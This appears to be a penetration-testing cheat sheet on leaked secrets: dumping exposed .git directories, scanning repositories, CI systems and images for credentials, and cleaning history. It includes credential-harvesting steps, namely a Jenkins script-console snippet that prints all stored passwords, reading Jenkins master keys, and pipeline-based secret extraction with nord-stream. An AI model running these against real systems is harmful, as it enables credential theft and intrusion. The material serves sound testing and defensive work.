Git & Secrets Leak

# Direct access probe
curl -si https://target.com/.git/HEAD
curl -si https://target.com/.git/config

# Common paths to check
/.git/HEAD
/.git/config
/.git/index
/.git/COMMIT_EDITMSG
/.git/logs/HEAD
/.git/refs/heads/main
/.git/objects/info/packs
/.git/packed-refs
/.git/ORIG_HEAD
/.git/stash

# Check HTTP response: 200 OK → exposed
# Expected content of HEAD: "ref: refs/heads/main"

# Step 1: Clone GitTools
git clone https://github.com/internetwache/GitTools
cd GitTools

# Step 2: Dump the .git directory
./Dumper/gitdumper.sh https://target.com/.git/ /tmp/dump/

# Step 3: Reconstruct the working tree
./Extractor/extractor.sh /tmp/dump/ /tmp/extracted/

# Step 4: Checkout files
cd /tmp/dump && git checkout -- .

# Step 5: Review history
git log --oneline --all
git log --graph --decorate --all

# Step 6: Scan for secrets
gitleaks detect --source=/tmp/dump --no-git -v
trufflehog filesystem --directory=/tmp/dump

pip install git-dumper
git-dumper https://target.com/.git/ ./output/
cd output && git checkout -- .

git clone https://github.com/Ebryx/GitDump
python3 GitDump/git-dump.py https://target.com/.git/ ./dump/
cd dump && git checkout -- .

# Full commit history across all branches
git log --all --full-history --oneline

# Show diff of each commit
git log -p --all

# Search commit messages for keywords
git log --all --grep="password"
git log --all --grep="secret"
git log --all --grep="key"
git log --all --grep="token"
git log --all --grep="credentials"

# Search file content across all commits
git grep -i "password" $(git rev-list --all)
git grep -i "api_key" $(git rev-list --all)

# Show a specific commit's changes
git show <COMMIT_HASH>

# Show file at a specific commit
git show <COMMIT_HASH>:path/to/file

# List all blob objects
git cat-file --batch-check --batch-all-objects | grep blob

# Read the content of an object
git cat-file -p <SHA1_HASH>

# List all objects with their types
git cat-file --batch-check < <(git rev-list --all --objects | awk '{print $1}')

# List files ever tracked (including deleted)
git log --all --full-history -- "**/secrets*"
git log --all --full-history -- "**/.env*"
git log --all --full-history -- "**/config*"

# Restore a deleted file from history
git checkout <COMMIT_HASH>~1 -- path/to/deleted/file

# Check stash
git stash list
git stash show -p stash@{0}

# Check all refs (including remote-tracking and stash)
git for-each-ref --format='%(refname)' refs/

# Read repository config (may contain remote URLs with credentials)
cat .git/config
git config -l

# Check for rogue hooks (can contain secrets or exfiltration code)
ls -la .git/hooks/
cat .git/hooks/pre-receive
cat .git/hooks/post-commit

# Script install
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh \
  | sh -s -- -b /usr/local/bin

# Go install
go install github.com/trufflesecurity/trufflehog/v3@latest

# Docker
docker pull trufflesecurity/trufflehog:latest

# Homebrew (macOS)
brew install trufflehog

# Scan remote repo (GitHub/GitLab/any git host)
trufflehog git https://github.com/target/repo

# Scan remote repo — only show verified secrets
trufflehog git https://github.com/target/repo --only-verified

# Scan local repository
trufflehog git file:///path/to/local/repo

# Scan current directory (relative path)
trufflehog git file://.

# Scan specific branch
trufflehog git https://github.com/target/repo --branch=dev

# Scan since a specific commit
trufflehog git https://github.com/target/repo --since-commit=<HASH>

# Scan local filesystem (non-git)
trufflehog filesystem --directory=/path/to/dir

# Scan with no update check
trufflehog filesystem . --no-update --only-verified

# Scan a single GitHub repo (includes issues/PR comments)
trufflehog github --repo=https://github.com/target/repo

# Include issue comments
trufflehog github --repo=https://github.com/target/repo --issue-comments

# Include PR comments
trufflehog github --repo=https://github.com/target/repo --pr-comments

# Scan entire GitHub org
trufflehog github --org=TargetOrg --token=$GITHUB_TOKEN

# Scan GitHub user
trufflehog github --user=targetuser --token=$GITHUB_TOKEN

# Scan GitHub with all repos
trufflehog github --org=TargetOrg --token=$GITHUB_TOKEN --only-verified

# Scan a GitLab repo
trufflehog gitlab --repo=https://gitlab.com/target/repo --token=$GITLAB_TOKEN

# Scan GitLab group
trufflehog gitlab --endpoint=https://gitlab.com --token=$GITLAB_TOKEN

# S3 Bucket
trufflehog s3 --bucket=target-bucket --role-arn=arn:aws:iam::...

# Docker image
trufflehog docker --image=targetorg/targetimage:latest

# CircleCI logs
trufflehog circleci --token=$CIRCLECI_TOKEN

# Scan a Syslog file
trufflehog syslog --address=0.0.0.0:514 --protocol=tcp

# Scan GCS bucket
trufflehog gcs --project-id=your-project --cloud-environment

# Scan Postman workspace
trufflehog postman --token=$POSTMAN_API_TOKEN

# Scan Slack workspace
trufflehog slack --token=$SLACK_TOKEN

--only-verified       # Show only live/validated secrets
--fail                # Exit code 183 if secrets found (for CI)
--json                # JSON output
--no-update           # Don't check for updates
--concurrency=10      # Parallel workers
--log-level=debug     # Verbose logging

# Homebrew
brew install gitleaks

# Go install
go install github.com/gitleaks/gitleaks/v8@latest

# Download binary (Linux x64)
wget https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_linux_x64.tar.gz
tar -xzf gitleaks_linux_x64.tar.gz

# Docker
docker run --rm -v $(pwd):/repo zricethezav/gitleaks:latest detect --source=/repo

# Detect secrets in current git repo
gitleaks detect

# Verbose output
gitleaks detect -v

# Scan with secret redaction (safe logging)
gitleaks detect -v --redact --no-banner

# Scan a specific directory (non-git)
gitleaks detect --source=/path/to/dir --no-git -v

# Scan a remote URL (via cloning)
gitleaks detect --source=https://github.com/target/repo

# Output results to file
gitleaks detect --report-path=report.json --report-format=json

# Output as SARIF (for GitHub Code Scanning)
gitleaks detect --report-format=sarif --report-path=gitleaks.sarif

# Protect mode: check staged changes (pre-commit)
gitleaks protect --staged

# Scan with baseline (ignore previously known secrets)
gitleaks detect --baseline-path=baseline.json

# Scan since a specific commit
gitleaks detect --log-opts="<HASH>..HEAD"

# Scan specific branch
gitleaks detect --log-opts="origin/dev..HEAD"

gitleaks detect --config=gitleaks.toml -v

pip install ggshield
ggshield auth login   # Authenticate with API key

# Scan a local repository
ggshield secret scan repo .

# Scan a specific commit range
ggshield secret scan commit-range HEAD~10..HEAD

# Scan pre-staged changes (pre-commit hook)
ggshield secret scan pre-commit

# Scan a file or directory
ggshield secret scan path /path/to/file

# Scan a Docker image
ggshield secret scan docker nginx:latest

# Scan CI environment variables
ggshield secret scan ci

# Output as JSON
ggshield secret scan repo . --json-output output.json

ggshield install -m global    # All repos on the machine
ggshield install -m local     # Current repo only

# Search with GitHub CLI
gh search code "AKIA" --owner TargetOrg --limit 100

# List all repos of an org
gh repo list TargetOrg --limit 200

# Clone all repos
gh repo list TargetOrg --json nameWithOwner -q '.[].nameWithOwner' \
  | xargs -I{} gh repo clone {}

# Look for env: blocks with secret references
grep -r "secrets\." .github/workflows/
grep -r "env:" .github/workflows/

# Search for workflows referencing pull_request_target with checkout
grep -r "pull_request_target" .github/workflows/
grep -r "checkout" .github/workflows/ -A5 | grep "ref:"

# Get project CI variables
curl --header "PRIVATE-TOKEN: $ADMIN_TOKEN" \
  "https://gitlab.com/api/v4/projects/<ID>/variables"

# Get group CI variables
curl --header "PRIVATE-TOKEN: $ADMIN_TOKEN" \
  "https://gitlab.com/api/v4/groups/<ID>/variables"

# Get instance-level variables
curl --header "PRIVATE-TOKEN: $ADMIN_TOKEN" \
  "https://gitlab.com/api/v4/admin/ci/variables"

# If you have file access to Jenkins home
ls $JENKINS_HOME/secrets/
cat $JENKINS_HOME/secrets/master.key
cat $JENKINS_HOME/secrets/hudson.util.Secret

# Script console decryption (if /script is accessible)
println(hudson.util.Secret.decrypt("{AQAAABAAAAAg...}"))

# Decrypt via Groovy in Jenkins Script Console
import jenkins.model.*
def creds = com.cloudbees.plugins.credentials.CredentialsProvider
  .lookupCredentials(com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class, 
   Jenkins.instance, null, null)
creds.each { c -> println "${c.id}:${c.username}:${c.password}" }

# Check for open Jenkins instance
curl http://target:8080/api/json
curl http://target:8080/credentials/
# /script endpoint (RCE if accessible)
curl http://target:8080/script

trufflehog circleci --token=$CIRCLECI_TOKEN

grep -r "CIRCLE_TOKEN\|api_token\|password" .circleci/

# List variable groups
curl -u ":$ADO_PAT" \
  "https://dev.azure.com/{org}/{project}/_apis/distributedtask/variablegroups?api-version=7.0"

# List pipeline variables
curl -u ":$ADO_PAT" \
  "https://dev.azure.com/{org}/{project}/_apis/build/definitions?api-version=7.0"

# Travis CI public builds are at:
# https://travis-ci.com/github/{org}/{repo}/builds/{id}

# Search for leaked tokens in Travis logs via Google
site:travis-ci.com "token" "password"

grep -i "password\|token\|secret\|key" bitbucket-pipelines.yml

git clone https://github.com/synacktiv/nord-stream
cd nord-stream
pip install -r requirements.txt

# GitHub — list secrets
python3 nordstream.py github --token $GITHUB_TOKEN --org TargetOrg --list-secrets

# GitHub — extract all secrets by deploying a workflow
python3 nordstream.py github --token $GITHUB_TOKEN --org TargetOrg --extract-secret

# GitLab — extract secrets via pipeline
python3 nordstream.py gitlab --token $GITLAB_TOKEN --group TargetGroup --extract-secret

# Azure DevOps — extract secrets
python3 nordstream.py azure --token $ADO_PAT --org TargetOrg --extract-secret

# Extract secrets from a specific repo only
python3 nordstream.py github --token $GITHUB_TOKEN --repo target/repo --extract-secret

# Scan a published NPM package for secrets
npm pack <package-name>
tar -xzf *.tgz
trufflehog filesystem --directory=package/

# Scan PyPI package
pip download <package-name> -d ./pkg_dir
unzip ./pkg_dir/*.whl -d ./extracted
trufflehog filesystem --directory=./extracted/

# Scan .npmrc files (may contain auth tokens)
cat ~/.npmrc
# Look for: //registry.npmjs.org/:_authToken=<TOKEN>

# Inspect NPM package.json for leaked values
grep -r "token\|password\|secret" node_modules/ --include="*.json"

# Scan Docker image with TruffleHog
trufflehog docker --image=targetorg/targetimage:latest

# Scan with Gitleaks (extract filesystem first)
docker create --name temp_container targetorg/targetimage:latest
docker export temp_container | tar -xC /tmp/docker_extract/
gitleaks detect --source=/tmp/docker_extract/ --no-git -v
docker rm temp_container

# Inspect image layers for secrets
docker history targetimage:latest --no-trunc
docker inspect targetimage:latest

# Dive tool — layer-by-layer inspection
dive targetimage:latest

# Check environment variables
docker inspect --format='{{range .Config.Env}}{{println .}}{{end}}' targetimage:latest

# Check CMD and ENTRYPOINT for credentials
docker inspect --format='{{.Config.Cmd}} {{.Config.Entrypoint}}' targetimage:latest

# Scan all local images
docker images --format "{{.Repository}}:{{.Tag}}" | \
  xargs -I{} trufflehog docker --image={}

# High-entropy string detector (manual approach)
python3 -c "
import math, re, sys
def entropy(s):
    freq = {c: s.count(c)/len(s) for c in set(s)}
    return -sum(v * math.log2(v) for v in freq.values())
for line in sys.stdin:
    for token in re.findall(r'[A-Za-z0-9+/=_-]{20,}', line):
        e = entropy(token)
        if e > 4.0:
            print(f'[ENTROPY={e:.2f}] {token}')
" < target_file.txt

# Install
brew install bfg   # macOS
# or download jar from https://rtyley.github.io/bfg-repo-cleaner/

# Clone a mirror (required for BFG)
git clone --mirror https://github.com/target/repo.git

# Remove a specific file from ALL history
java -jar bfg.jar --delete-files id_rsa repo.git

# Remove files matching a pattern
java -jar bfg.jar --delete-files '*.pem' repo.git
java -jar bfg.jar --delete-files '{.env,.env.local}' repo.git

# Replace specific text (replace secrets in-place)
# Create a replacements file: echo "MYSECRETVALUE==>***REMOVED***" > replacements.txt
java -jar bfg.jar --replace-text replacements.txt repo.git

# After BFG, expire reflog and force-push
cd repo.git
git reflog expire --expire=now --all
git gc --prune=now --aggressive
git push --force

pip install git-filter-repo

# Remove a file from all history
git filter-repo --path id_rsa --invert-paths

# Remove multiple files
git filter-repo --path .env --path secrets.yml --invert-paths

# Replace secrets in file content
git filter-repo --replace-text <(echo "SECRETVALUE==>REDACTED")

pip install pre-commit

# Install hooks into current repo
pre-commit install

# Run against all files manually
pre-commit run --all-files

# .git/hooks/pre-commit (make executable: chmod +x)
#!/bin/bash
gitleaks protect --staged --exit-code 1
if [ $? -ne 0 ]; then
  echo "❌ Gitleaks found secrets. Commit blocked."
  exit 1
fi